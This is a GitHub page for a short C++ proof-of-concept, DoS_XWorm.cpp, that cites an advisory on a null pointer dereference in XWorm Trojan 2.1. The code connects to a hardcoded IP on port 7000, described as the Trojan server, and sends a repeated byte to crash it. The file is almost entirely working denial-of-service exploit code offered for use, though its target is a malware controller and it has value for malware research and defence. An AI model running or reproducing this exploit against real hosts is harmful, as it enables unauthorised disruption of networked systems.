-
Notifications
You must be signed in to change notification settings - Fork 6
Expand file tree
/
Copy pathDoS_XWorm.cpp
More file actions
58 lines (47 loc) · 1.64 KB
/
DoS_XWorm.cpp
File metadata and controls
58 lines (47 loc) · 1.64 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
//PoC Reference : https://packetstormsecurity.com/files/170981/XWorm-Trojan-2.1-NULL-Pointer-Dereference.html
// Contact : https://twitter.com/vxremalware
#include <iostream>
#include <winsock2.h>
#pragma comment(lib, "Ws2_32.lib")
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS
int main() {
WSADATA wsaData;
SOCKET sock;
sockaddr_in addr;
// Initialize Winsock
int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
std::cerr << "WSAStartup failed with error: " << iResult << std::endl;
return 1;
}
// Set up remote host IP and port
const char* RHOST = "192.168.32.137"; //IP address of the Trojan Server
const int RPORT = 7000; //Port Used for remote Connection
// Create a socket
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
std::cerr << "socket failed with error: " << WSAGetLastError() << std::endl;
WSACleanup();
return 1;
}
// Set up the address to connect to
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(RHOST);
addr.sin_port = htons(RPORT);
// Connect to the remote host
iResult = connect(sock, (sockaddr*)&addr, sizeof(addr));
if (iResult == SOCKET_ERROR) {
std::cerr << "connect failed with error: " << WSAGetLastError() << std::endl;
closesocket(sock);
WSACleanup();
return 1;
}
const char* buf = "B";
for (int i = 0; i < 1000; i++) {
send(sock, buf, strlen(buf), 0);
}
closesocket(sock);
WSACleanup();
return 0;
}